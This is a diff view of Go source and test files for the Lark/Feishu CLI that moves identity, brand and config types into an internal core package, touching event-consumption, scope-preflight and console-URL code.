authTypes := sc.AuthTypes
if len(authTypes) == 0 {
authTypes = []string{string(identitypkg.AsUser)}
authTypes = []string{string(core.AsUser)}
}
for _, authType := range authTypes {
if authType == identity {

View File

@@ -14,10 +14,10 @@ import (
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/event"
"github.com/larksuite/cli/internal/event/bus"
"github.com/larksuite/cli/internal/event/transport"
"github.com/larksuite/cli/internal/workspace"
)
// NewCmdBus creates the hidden `event _bus` daemon subcommand, forked by the consume client; fork argv lives in consume/startup.go.
@@ -35,7 +35,7 @@ func NewCmdBus(f *cmdutil.Factory) *cobra.Command {
}
// Sanitize AppID: an unsanitized value could escape events/ via ".." or separators.
eventsDir := filepath.Join(workspace.GetConfigDir(), "events", event.SanitizeAppID(cfg.AppID))
eventsDir := filepath.Join(core.GetConfigDir(), "events", event.SanitizeAppID(cfg.AppID))
logger, err := bus.SetupBusLogger(eventsDir)
if err != nil {

View File

@@ -8,10 +8,9 @@ import (
"path/filepath"
"testing"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
)
// The hidden `event _bus` daemon command must exit with a typed file_io error
@@ -25,8 +24,8 @@ func TestBusCommandLoggerSetupFailureIsTypedFileIO(t *testing.T) {
t.Fatal(err)
}
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "cli_bus_test", AppSecret: "secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "cli_bus_test", AppSecret: "secret", Brand: core.BrandFeishu,
})
cmd := NewCmdBus(f)
cmd.SetArgs([]string{})

View File

@@ -10,9 +10,8 @@ import (
"encoding/json"
"fmt"
brandpkg "github.com/larksuite/cli/brand"
"github.com/larksuite/cli/internal/core"
eventlib "github.com/larksuite/cli/internal/event"
identitypkg "github.com/larksuite/cli/internal/identity"
)
// Landing-page contract for the scan-to-enable deep link, verified against the
@@ -68,23 +67,23 @@ func encodeAddons(a ManifestAddons) (string, error) {
}
// consoleAddonsURL builds the scan-to-enable deep link carrying incremental scopes/events/callbacks.
func consoleAddonsURL(brand brandpkg.Brand, appID string, a ManifestAddons) (string, error) {
func consoleAddonsURL(brand core.LarkBrand, appID string, a ManifestAddons) (string, error) {
encoded, err := encodeAddons(a)
if err != nil {
return "", err
}
host := brandpkg.ResolveEndpoints(brand).Open
host := core.ResolveEndpoints(brand).Open
return fmt.Sprintf("%s%s?%s=%s&addons=%s", host, addonsLandingPath, addonsClientIDParam, appID, encoded), nil
}
// consoleLandingURL is the bare landing page (no addons) — fallback when encoding fails.
func consoleLandingURL(brand brandpkg.Brand, appID string) string {
host := brandpkg.ResolveEndpoints(brand).Open
func consoleLandingURL(brand core.LarkBrand, appID string) string {
host := core.ResolveEndpoints(brand).Open
return fmt.Sprintf("%s%s?%s=%s", host, addonsLandingPath, addonsClientIDParam, appID)
}
// addonsHintURL returns the scan URL, degrading to the bare landing page on encode error.
func addonsHintURL(brand brandpkg.Brand, appID string, a ManifestAddons) string {
func addonsHintURL(brand core.LarkBrand, appID string, a ManifestAddons) string {
url, err := consoleAddonsURL(brand, appID, a)
if err != nil {
return consoleLandingURL(brand, appID)
@@ -95,7 +94,7 @@ func addonsHintURL(brand brandpkg.Brand, appID string, a ManifestAddons) string
// missingScopeAddons routes missing scopes into the identity-appropriate section.
// The unused side is an empty (non-nil) slice so JSON encodes [] not null —
// the addons spec treats a missing tenant/user as an empty array.
func missingScopeAddons(identity identitypkg.Identity, missing []string) ManifestAddons {
func missingScopeAddons(identity core.Identity, missing []string) ManifestAddons {
s := &AddonsScopes{Tenant: []string{}, User: []string{}}
if identity.IsBot() {
s.Tenant = missing
@@ -107,7 +106,7 @@ func missingScopeAddons(identity identitypkg.Identity, missing []string) Manifes
// missingSubscriptionAddons routes missing events/callbacks into the right section.
// Like missingScopeAddons, unused event sides stay [] (not null) per the addons spec.
func missingSubscriptionAddons(subType eventlib.SubscriptionType, identity identitypkg.Identity, missing []string) ManifestAddons {
func missingSubscriptionAddons(subType eventlib.SubscriptionType, identity core.Identity, missing []string) ManifestAddons {
if subType == eventlib.SubTypeCallback {
return ManifestAddons{Callbacks: &AddonsCallbacks{Items: missing}}
}

View File

@@ -12,9 +12,8 @@ import (
"strings"
"testing"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/internal/core"
eventlib "github.com/larksuite/cli/internal/event"
"github.com/larksuite/cli/internal/identity"
)
func decodeAddons(t *testing.T, encoded string) ManifestAddons {
@@ -56,11 +55,11 @@ func TestEncodeAddons_RoundTrip(t *testing.T) {
}
func TestConsoleAddonsURL_FormatAndBrandHost(t *testing.T) {
url, err := consoleAddonsURL(brand.Feishu, "cli_x", ManifestAddons{Callbacks: &AddonsCallbacks{Items: []string{"card.action.trigger"}}})
url, err := consoleAddonsURL(core.BrandFeishu, "cli_x", ManifestAddons{Callbacks: &AddonsCallbacks{Items: []string{"card.action.trigger"}}})
if err != nil {
t.Fatalf("url: %v", err)
}
host := brand.ResolveEndpoints(brand.Feishu).Open
host := core.ResolveEndpoints(core.BrandFeishu).Open
prefix := host + "/page/launcher?clientID=cli_x&addons="
if !strings.HasPrefix(url, prefix) {
t.Errorf("url = %q, want prefix %q", url, prefix)
@@ -72,22 +71,22 @@ func TestConsoleAddonsURL_FormatAndBrandHost(t *testing.T) {
}
func TestMissingScopeAddons_ByIdentity(t *testing.T) {
bot := missingScopeAddons(identity.AsBot, []string{"im:message"})
bot := missingScopeAddons(core.AsBot, []string{"im:message"})
if bot.Scopes == nil || len(bot.Scopes.Tenant) != 1 || len(bot.Scopes.User) != 0 {
t.Errorf("bot scopes = %+v, want tenant-only", bot.Scopes)
}
user := missingScopeAddons(identity.AsUser, []string{"im:message"})
user := missingScopeAddons(core.AsUser, []string{"im:message"})
if user.Scopes == nil || len(user.Scopes.User) != 1 || len(user.Scopes.Tenant) != 0 {
t.Errorf("user scopes = %+v, want user-only", user.Scopes)
}
}
func TestMissingSubscriptionAddons_EventVsCallback(t *testing.T) {
ev := missingSubscriptionAddons(eventlib.SubTypeEvent, identity.AsBot, []string{"im.message.receive_v1"})
ev := missingSubscriptionAddons(eventlib.SubTypeEvent, core.AsBot, []string{"im.message.receive_v1"})
if ev.Events == nil || len(ev.Events.Items.Tenant) != 1 {
t.Errorf("event addons = %+v, want events.items.tenant", ev.Events)
}
cb := missingSubscriptionAddons(eventlib.SubTypeCallback, identity.AsBot, []string{"card.action.trigger"})
cb := missingSubscriptionAddons(eventlib.SubTypeCallback, core.AsBot, []string{"card.action.trigger"})
if cb.Callbacks == nil || len(cb.Callbacks.Items) != 1 || cb.Events != nil {
t.Errorf("callback addons = %+v, want callbacks.items only", cb)
}
@@ -97,9 +96,9 @@ func TestMissingAddons_EncodeEmptyArraysNotNull(t *testing.T) {
// Unused identity sides must encode as [] (not null) so the launcher page's
// shape validation treats them as "缺省 -> 空数组" per the addons spec.
cases := []ManifestAddons{
missingScopeAddons(identity.AsBot, []string{"im:message"}),
missingScopeAddons(identity.AsUser, []string{"im:message"}),
missingSubscriptionAddons(eventlib.SubTypeEvent, identity.AsBot, []string{"im.message.receive_v1"}),
missingScopeAddons(core.AsBot, []string{"im:message"}),
missingScopeAddons(core.AsUser, []string{"im:message"}),
missingSubscriptionAddons(eventlib.SubTypeEvent, core.AsBot, []string{"im.message.receive_v1"}),
}
for i, a := range cases {
raw, err := json.Marshal(a)

View File

@@ -16,16 +16,15 @@ import (
"github.com/spf13/cobra"
brandpkg "github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/appmeta"
"github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/credential"
eventlib "github.com/larksuite/cli/internal/event"
"github.com/larksuite/cli/internal/event/consume"
"github.com/larksuite/cli/internal/event/transport"
identitypkg "github.com/larksuite/cli/internal/identity"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/validate"
)
@@ -119,7 +118,7 @@ func runConsume(cmd *cobra.Command, f *cmdutil.Factory, eventKey string, o consu
outputDir = safePath
}
domain := brandpkg.ResolveEndpoints(cfg.Brand).Open
domain := core.ResolveEndpoints(cfg.Brand).Open
// Surface auth errors before forking the bus daemon.
if _, err := resolveTenantToken(cmd.Context(), f, cfg.AppID); err != nil {
@@ -132,7 +131,7 @@ func runConsume(cmd *cobra.Command, f *cmdutil.Factory, eventKey string, o consu
}
runtime := &consumeRuntime{client: apiClient, accessIdentity: identity}
// botRuntime pins AsBot: /app_versions rejects UAT (99991668) and /connection is app-level.
botRuntime := &consumeRuntime{client: apiClient, accessIdentity: identitypkg.AsBot}
botRuntime := &consumeRuntime{client: apiClient, accessIdentity: core.AsBot}
// Weak-dependency fetch: failures leave appVer==nil and downgrade preflight to a no-op.
preflightErrOut := f.IOStreams.ErrOut
@@ -225,8 +224,8 @@ func runConsume(cmd *cobra.Command, f *cmdutil.Factory, eventKey string, o consu
}
// resolveIdentity resolves the session identity and enforces keyDef.AuthTypes as a whitelist.
func resolveIdentity(cmd *cobra.Command, f *cmdutil.Factory, keyDef *eventlib.KeyDefinition) (identitypkg.Identity, error) {
flagAs := identitypkg.Identity(cmd.Flag("as").Value.String())
func resolveIdentity(cmd *cobra.Command, f *cmdutil.Factory, keyDef *eventlib.KeyDefinition) (core.Identity, error) {
flagAs := core.Identity(cmd.Flag("as").Value.String())
identity := f.ResolveAs(cmd.Context(), cmd, flagAs)
if len(keyDef.AuthTypes) > 0 {
if err := f.CheckIdentity(identity, keyDef.AuthTypes); err != nil {
@@ -239,9 +238,9 @@ func resolveIdentity(cmd *cobra.Command, f *cmdutil.Factory, keyDef *eventlib.Ke
type preflightCtx struct {
factory *cmdutil.Factory
appID string
brand brandpkg.Brand
brand core.LarkBrand
eventKey string
identity identitypkg.Identity
identity core.Identity
keyDef *eventlib.KeyDefinition
appVer *appmeta.AppVersion
// subscribedCallbacks is the application/get 底账 for callback-type EventKeys;
@@ -265,7 +264,7 @@ func preflightScopes(ctx context.Context, pf *preflightCtx) error {
return nil
}
storedScopes = strings.Join(pf.appVer.TenantScopes, " ")
case pf.identity == identitypkg.AsUser:
case pf.identity == core.AsUser:
result, err := pf.factory.Credential.ResolveToken(ctx, credential.NewTokenSpec(pf.identity, pf.appID))
if err != nil || result == nil || result.Scopes == "" {
return nil //nolint:nilerr // best-effort: bus handshake will surface real auth error
@@ -292,7 +291,7 @@ func preflightScopes(ctx context.Context, pf *preflightCtx) error {
// the tenant token carries them. User: the scan link only updates the app
// manifest — the user's own token still lacks the scopes until it is
// re-authorized — so direct the user to re-login instead.
func scopeRemediationHint(brand brandpkg.Brand, appID string, identity identitypkg.Identity, missing []string) string {
func scopeRemediationHint(brand core.LarkBrand, appID string, identity core.Identity, missing []string) string {
if identity.IsBot() {
return fmt.Sprintf("grant these scopes by scanning: %s",
addonsHintURL(brand, appID, missingScopeAddons(identity, missing)))
@@ -369,7 +368,7 @@ func resolveTenantToken(ctx context.Context, f *cmdutil.Factory, appID string) (
if ctx == nil {
ctx = context.Background()
}
result, err := f.Credential.ResolveToken(ctx, credential.NewTokenSpec(identitypkg.AsBot, appID))
result, err := f.Credential.ResolveToken(ctx, credential.NewTokenSpec(core.AsBot, appID))
if err != nil {
if _, ok := errs.ProblemOf(err); ok {
return "", err

View File

@@ -11,7 +11,7 @@ import (
"time"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/event/protocol"
"github.com/larksuite/cli/internal/output"
)
@@ -287,7 +287,7 @@ func errorAs(err error, target interface{}) bool {
}
func TestNewCmdFactories_WireFlags(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{AppID: "cli_XXXXXXXXXXXXXXXX"})
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_XXXXXXXXXXXXXXXX"})
t.Run("consume", func(t *testing.T) {
cmd := NewCmdConsume(f)

View File

@@ -9,7 +9,7 @@ import (
"testing"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
eventlib "github.com/larksuite/cli/internal/event"
_ "github.com/larksuite/cli/events"
@@ -17,8 +17,6 @@ import (
func TestEventLookup_VCMeetingLifecycleKeys(t *testing.T) {
for _, key := range []string{
"approval.instance.status_changed_v4",
"approval.task.status_changed_v4",
"vc.meeting.participant_meeting_started_v1",
"vc.meeting.participant_meeting_joined_v1",
} {
@@ -29,7 +27,7 @@ func TestEventLookup_VCMeetingLifecycleKeys(t *testing.T) {
}
func TestRunList_TextOutput(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{AppID: "test"})
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
if err := runList(f, false); err != nil {
t.Fatalf("runList: %v", err)
@@ -38,8 +36,6 @@ func TestRunList_TextOutput(t *testing.T) {
out := stdout.String()
for _, want := range []string{
"KEY", "AUTH", "PARAMS", "DESCRIPTION",
"approval.instance.status_changed_v4",
"approval.task.status_changed_v4",
"im.message.receive_v1",
"im.message.message_read_v1",
"task.task.update_user_access_v2",
@@ -53,7 +49,7 @@ func TestRunList_TextOutput(t *testing.T) {
}
func TestRunList_JSONOutput(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{AppID: "test"})
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
if err := runList(f, true); err != nil {
t.Fatalf("runList json: %v", err)
@@ -94,8 +90,6 @@ func TestRunList_JSONOutput(t *testing.T) {
t.Fatal("event list JSON missing task.task.update_user_access_v2")
}
for _, want := range []string{
"approval.instance.status_changed_v4",
"approval.task.status_changed_v4",
"vc.meeting.participant_meeting_started_v1",
"vc.meeting.participant_meeting_joined_v1",
} {

View File

@@ -8,14 +8,13 @@ import (
"strings"
"testing"
brandpkg "github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/appmeta"
"github.com/larksuite/cli/internal/core"
eventlib "github.com/larksuite/cli/internal/event"
identitypkg "github.com/larksuite/cli/internal/identity"
)
func newPreflightCtx(appID string, brand brandpkg.Brand, identity identitypkg.Identity, keyDef *eventlib.KeyDefinition, appVer *appmeta.AppVersion) *preflightCtx {
func newPreflightCtx(appID string, brand core.LarkBrand, identity core.Identity, keyDef *eventlib.KeyDefinition, appVer *appmeta.AppVersion) *preflightCtx {
key := ""
if keyDef != nil {
key = keyDef.Key
@@ -109,7 +108,7 @@ func TestPreflightScopes_Bot_NoAppVer_SkipsCheck(t *testing.T) {
Key: "im.message.text",
Scopes: []string{"im:message", "im:message.group_at_msg"},
}
err := preflightScopes(nil, newPreflightCtx("cli_x", "feishu", identitypkg.AsBot, def, nil))
err := preflightScopes(nil, newPreflightCtx("cli_x", "feishu", core.AsBot, def, nil))
if err != nil {
t.Fatalf("bot + nil appVer should skip, got: %v", err)
}
@@ -125,7 +124,7 @@ func TestPreflightScopes_Bot_AllGranted_Passes(t *testing.T) {
"im:message.group_at_msg",
"contact:user:readonly",
}}
err := preflightScopes(nil, newPreflightCtx("cli_x", "feishu", identitypkg.AsBot, def, appVer))
err := preflightScopes(nil, newPreflightCtx("cli_x", "feishu", core.AsBot, def, appVer))
if err != nil {
t.Fatalf("all scopes granted, unexpected error: %v", err)
}
@@ -137,7 +136,7 @@ func TestPreflightScopes_Bot_MissingBlocks(t *testing.T) {
Scopes: []string{"im:message", "im:message.group_at_msg"},
}
appVer := &appmeta.AppVersion{TenantScopes: []string{"im:message"}}
err := preflightScopes(nil, newPreflightCtx("cli_x", "feishu", identitypkg.AsBot, def, appVer))
err := preflightScopes(nil, newPreflightCtx("cli_x", "feishu", core.AsBot, def, appVer))
if err == nil {
t.Fatal("expected error for missing scope")
}
@@ -170,7 +169,7 @@ func TestPreflightScopes_Bot_MissingBlocks(t *testing.T) {
func TestPreflightScopes_NoRequiredScopes_SkipsCheck(t *testing.T) {
def := &eventlib.KeyDefinition{Key: "x"}
if err := preflightScopes(nil, newPreflightCtx("cli_x", "feishu", identitypkg.AsBot, def, nil)); err != nil {
if err := preflightScopes(nil, newPreflightCtx("cli_x", "feishu", core.AsBot, def, nil)); err != nil {
t.Fatalf("no required scopes means nothing to verify, got: %v", err)
}
}
@@ -178,9 +177,9 @@ func TestPreflightScopes_NoRequiredScopes_SkipsCheck(t *testing.T) {
func TestPreflightEventTypes_CallbackMissing(t *testing.T) {
pf := &preflightCtx{
appID: "cli_x",
brand: brandpkg.Feishu,
brand: core.BrandFeishu,
eventKey: "test.cb",
identity: identitypkg.AsBot,
identity: core.AsBot,
subscribedCallbacks: []string{"profile.view.get"},
keyDef: &eventlib.KeyDefinition{
Key: "test.cb",
@@ -207,9 +206,9 @@ func TestPreflightEventTypes_CallbackMissing(t *testing.T) {
func TestPreflightEventTypes_CallbackSkippedWhenNil(t *testing.T) {
pf := &preflightCtx{
appID: "cli_x",
brand: brandpkg.Feishu,
brand: core.BrandFeishu,
eventKey: "test.cb",
identity: identitypkg.AsBot,
identity: core.AsBot,
subscribedCallbacks: nil, // fetch 失败/拿不到 -> 弱依赖跳过
keyDef: &eventlib.KeyDefinition{
Key: "test.cb",
@@ -228,9 +227,9 @@ func TestPreflightEventTypes_CallbackEmptyReportsMissing(t *testing.T) {
// not skipped as a weak dependency.
pf := &preflightCtx{
appID: "cli_x",
brand: brandpkg.Feishu,
brand: core.BrandFeishu,
eventKey: "test.cb",
identity: identitypkg.AsBot,
identity: core.AsBot,
subscribedCallbacks: []string{}, // fetched, none subscribed
keyDef: &eventlib.KeyDefinition{
Key: "test.cb",
@@ -250,9 +249,9 @@ func TestPreflightEventTypes_CallbackEmptyReportsMissing(t *testing.T) {
func TestPreflightEventTypes_CallbackAllSubscribed_Passes(t *testing.T) {
pf := &preflightCtx{
appID: "cli_x",
brand: brandpkg.Feishu,
brand: core.BrandFeishu,
eventKey: "test.cb",
identity: identitypkg.AsBot,
identity: core.AsBot,
subscribedCallbacks: []string{"card.action.trigger", "profile.view.get"},
keyDef: &eventlib.KeyDefinition{
Key: "test.cb",
@@ -267,12 +266,12 @@ func TestPreflightEventTypes_CallbackAllSubscribed_Passes(t *testing.T) {
func TestScopeRemediationHint_ByIdentity(t *testing.T) {
// bot: scan-to-enable link (adds scopes to app manifest)
bot := scopeRemediationHint(brandpkg.Feishu, "cli_x", identitypkg.AsBot, []string{"im:message"})
bot := scopeRemediationHint(core.BrandFeishu, "cli_x", core.AsBot, []string{"im:message"})
if !strings.Contains(bot, "/page/launcher?clientID=cli_x&addons=") {
t.Errorf("bot hint should give the scan link, got: %s", bot)
}
// user: re-login (scan link cannot grant scopes to the user's own token)
user := scopeRemediationHint(brandpkg.Feishu, "cli_x", identitypkg.AsUser, []string{"im:message"})
user := scopeRemediationHint(core.BrandFeishu, "cli_x", core.AsUser, []string{"im:message"})
if !strings.Contains(user, "auth login --scope") {
t.Errorf("user hint should direct to auth login, got: %s", user)
}

View File

@@ -9,13 +9,13 @@ import (
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/client"
"github.com/larksuite/cli/internal/identity"
"github.com/larksuite/cli/internal/core"
)
// consumeRuntime routes event.APIClient calls through the shared client.APIClient with a pinned identity.
type consumeRuntime struct {
client *client.APIClient
accessIdentity identity.Identity
accessIdentity core.Identity
}
func (r *consumeRuntime) CallAPI(ctx context.Context, method, path string, body interface{}) (json.RawMessage, error) {

View File

@@ -14,12 +14,10 @@ import (
lark "github.com/larksuite/oapi-sdk-go/v3"
larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/client"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/credential"
"github.com/larksuite/cli/internal/identity"
)
// staticTokenResolver always returns a fixed token without any HTTP calls.
@@ -47,9 +45,9 @@ func newTestConsumeRuntime(rt http.RoundTripper) *consumeRuntime {
SDK: sdk,
ErrOut: io.Discard,
Credential: credential.NewCredentialProvider(nil, nil, &staticTokenResolver{}, nil),
Config: &configpkg.CliConfig{AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu},
Config: &core.CliConfig{AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu},
},
accessIdentity: identity.AsBot,
accessIdentity: core.AsBot,
}
}

Some files were not shown because too many files have changed in this diff Show More